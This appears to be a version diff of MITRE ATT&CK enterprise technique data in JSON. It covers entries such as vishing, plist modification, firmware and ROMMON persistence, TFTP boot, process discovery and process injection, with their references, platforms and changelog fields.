| > | f spearphishing in that is employs the use of manipulating a | > | f spearphishing in that it employs the use of manipulating a | ||
| > | user into providing access to systems through a phone call | > | user into providing access to systems through a phone call | ||
| > | or other forms of voice communications. Spearphishing freque | > | or other forms of voice communications. Spearphishing freque | ||
| > | ntly involves social engineering techniques, such as posing | > | ntly involves social engineering techniques, such as posing | ||
| > | as a trusted source (ex: [Impersonation](https://attack.mitr | > | as a trusted source (ex: [Impersonation](https://attack.mitr | ||
| > | e.org/techniques/T1656)) and/or creating a sense of urgency | > | e.org/techniques/T1656)) and/or creating a sense of urgency | ||
| > | or alarm for the recipient. All forms of phishing are elect | > | or alarm for the recipient. All forms of phishing are elect | ||
| > | ronically delivered social engineering. In this scenario, ad | > | ronically delivered social engineering. In this scenario, ad | ||
| > | versaries are not directly sending malware to a victim vice | > | versaries are not directly sending malware to a victim vice | ||
| > | relying on [User Execution](https://attack.mitre.org/techniq | > | relying on [User Execution](https://attack.mitre.org/techniq | ||
| > | ues/T1204) for delivery and execution. For example, victims | > | ues/T1204) for delivery and execution. For example, victims | ||
| > | may receive phishing messages that instruct them to call a p | > | may receive phishing messages that instruct them to call a p | ||
| > | hone number where they are directed to visit a malicious URL | > | hone number where they are directed to visit a malicious URL | ||
| > | , download malware,(Citation: sygnia Luna Month)(Citation: C | > | , download malware,(Citation: sygnia Luna Month)(Citation: C | ||
| > | ISA Remote Monitoring and Management Software) or install ad | > | ISA Remote Monitoring and Management Software) or install ad | ||
| > | versary-accessible remote management tools ([Remote Access T | > | versary-accessible remote management tools ([Remote Access T | ||
| > | ools](https://attack.mitre.org/techniques/T1219)) onto their | > | ools](https://attack.mitre.org/techniques/T1219)) onto their | ||
| > | computer.(Citation: Unit42 Luna Moth) Adversaries may also | > | computer.(Citation: Unit42 Luna Moth) Adversaries may also | ||
| > | combine voice phishing with [Multi-Factor Authentication Re | > | combine voice phishing with [Multi-Factor Authentication Re | ||
| > | quest Generation](https://attack.mitre.org/techniques/T1621) | > | quest Generation](https://attack.mitre.org/techniques/T1621) | ||
| > | in order to trick users into divulging MFA credentials or a | > | in order to trick users into divulging MFA credentials or a | ||
| > | ccepting authentication prompts.(Citation: Proofpoint Vishin | > | ccepting authentication prompts.(Citation: Proofpoint Vishin | ||
| > | g) | > | g) |
info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application\u2019s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)",
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+ "source_name": "eset_osx_flashback",
+ "description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf"
+ },
+ {
+ "source_name": "fileinfo plist file description",
+ "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
+ "url": "https://fileinfo.com/extension/plist"
+ },
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+ "source_name": "wardle chp2 persistence",
+ "description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.",
+ "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
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+ "description": "AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.",
+ "url": "https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop"
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+ "description": "Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.",
+ "url": "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html"
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+ "source_name": "Two New Monero Malware Attacks Target Windows and Android Users",
+ "description": "Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.",
+ "url": "https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/"
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+ "description": "Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.",
+ "url": "https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389"
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+ "description": "Man7. (n.d.). systemd-sleep.conf(5) \u2014 Linux manual page. Retrieved June 7, 2023.",
+ "url": "https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html"
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+ "source_name": "ITWorld Hard Disk Health Dec 2014",
+ "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
+ "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
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+ "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
+ "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
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+ "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
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+ "source_name": "welivesecurity",
+ "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
+ "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
+ },
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+ "source_name": "Microsoft Security",
+ "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
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+ "description": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
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+ "phase_name": "defense-evasion"
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1542/002",
+ "external_id": "T1542.002"
+ },
+ {
+ "source_name": "ITWorld Hard Disk Health Dec 2014",
+ "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved November 17, 2024.",
+ "url": "https://www.computerworld.com/article/1484887/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
+ },
+ {
+ "source_name": "SanDisk SMART",
+ "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
+ },
+ {
+ "source_name": "SmartMontools",
+ "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
+ "url": "https://www.smartmontools.org/"
+ }
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
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+ "changelog_mitigations": {
+ "shared": [
+ "M1051: Update Software"
+ ],
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+ "DET0323: Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware"
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+ "created": "2020-10-20 00:05:48.790000+00:00",
+ "modified": "2025-10-24 17:49:11.524000+00:00",
+ "name": "ROMMONkit",
+ "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
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+ "phase_name": "persistence"
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+ "url": "https://attack.mitre.org/techniques/T1542/004",
+ "external_id": "T1542.004"
+ },
+ {
+ "source_name": "Cisco Synful Knock Evolution",
+ "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
+ "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
+ },
+ {
+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "Network Devices"
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+ "DET0175: Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit"
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+ },
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+ "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-12-19 19:43:34.507000+00:00",
+ "modified": "2025-10-24 17:48:26.714000+00:00",
+ "name": "System Firmware",
+ "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
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+ "kill_chain_name": "mitre-attack",
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+ "external_references": [
+ {
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+ "url": "https://attack.mitre.org/techniques/T1542/001",
+ "external_id": "T1542.001"
+ },
+ {
+ "source_name": "McAfee CHIPSEC Blog",
+ "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
+ "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
+ },
+ {
+ "source_name": "MITRE Copernicus",
+ "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
+ "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
+ },
+ {
+ "source_name": "Intel HackingTeam UEFI Rootkit",
+ "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
+ },
+ {
+ "source_name": "Github CHIPSEC",
+ "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
+ "url": "https://github.com/chipsec/chipsec"
+ },
+ {
+ "source_name": "About UEFI",
+ "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
+ "url": "http://www.uefi.org/about"
+ },
+ {
+ "source_name": "MITRE Trustworthy Firmware Measurement",
+ "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
+ "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
+ },
+ {
+ "source_name": "Wikipedia UEFI",
+ "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
+ "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
+ },
+ {
+ "source_name": "Wikipedia BIOS",
+ "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
+ "url": "https://en.wikipedia.org/wiki/BIOS"
+ }
+ ],
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+ "x_mitre_contributors": [
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+ "McAfee",
+ "Ryan Becwar"
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+ "x_mitre_detection": "",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.714000+00:00\", \"old_value\": \"2025-04-15 19:58:09.046000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\\n\\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\\n-\\n-Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\"}}}",
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+ "DET0099: Detection Strategy for T1542.001 Pre-OS Boot: System Firmware"
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+ {
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+ "id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-20 00:06:56.180000+00:00",
+ "modified": "2025-10-24 17:48:33.317000+00:00",
+ "name": "TFTP Boot",
+ "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
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+ "phase_name": "defense-evasion"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1542/005",
+ "external_id": "T1542.005"
+ },
+ {
+ "source_name": "Cisco Blog Legacy Device Attacks",
+ "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
+ "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Command History",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
+ },
+ {
+ "source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.",
+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26"
+ }
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.317000+00:00\", \"old_value\": \"2025-04-25 14:46:08.824000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n\\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n-\\n-Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.\"}}}",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1028: Operating System Configuration",
+ "M1031: Network Intrusion Prevention",
+ "M1035: Limit Access to Resource Over Network",
+ "M1046: Boot Integrity",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0001: Firmware (Firmware Modification)",
+ "DS0017: Command (Command Execution)",
+ "DS0029: Network Traffic (Network Connection Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0582: Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:48.728000+00:00",
+ "modified": "2025-10-24 17:49:05.839000+00:00",
+ "name": "Process Discovery",
+ "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1057",
+ "external_id": "T1057"
+ },
+ {
+ "source_name": "show_processes_cisco_cmd",
+ "description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"
+ },
+ {
+ "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
+ "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
+ "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ },
+ {
+ "source_name": "Sygnia ESXi Ransomware 2025",
+ "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
+ "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.6",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.839000+00:00\", \"old_value\": \"2025-04-15 19:58:50.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0034: Detection of Adversarial Process Discovery Behavior"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:47.843000+00:00",
+ "modified": "2025-10-24 17:48:43.053000+00:00",
+ "name": "Process Injection",
+ "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1055",
+ "external_id": "T1055"
+ },
+ {
+ "source_name": "GNU Acct",
+ "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
+ "url": "https://www.gnu.org/software/acct/"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "RHEL auditd",
+ "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
+ "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
+ },
+ {
+ "source_name": "ArtOfMemoryForensics",
+ "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
+ },
+ {
+ "source_name": "Microsoft Sysmon v6 May 2017",
+ "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
+ "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
+ },
+ {
+ "source_name": "Chokepoint preload rootkits",
+ "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
+ "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Anastasios Pingios",
+ "Christiaan Beek, @ChristiaanBeek",
+ "Ryan Becwar"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
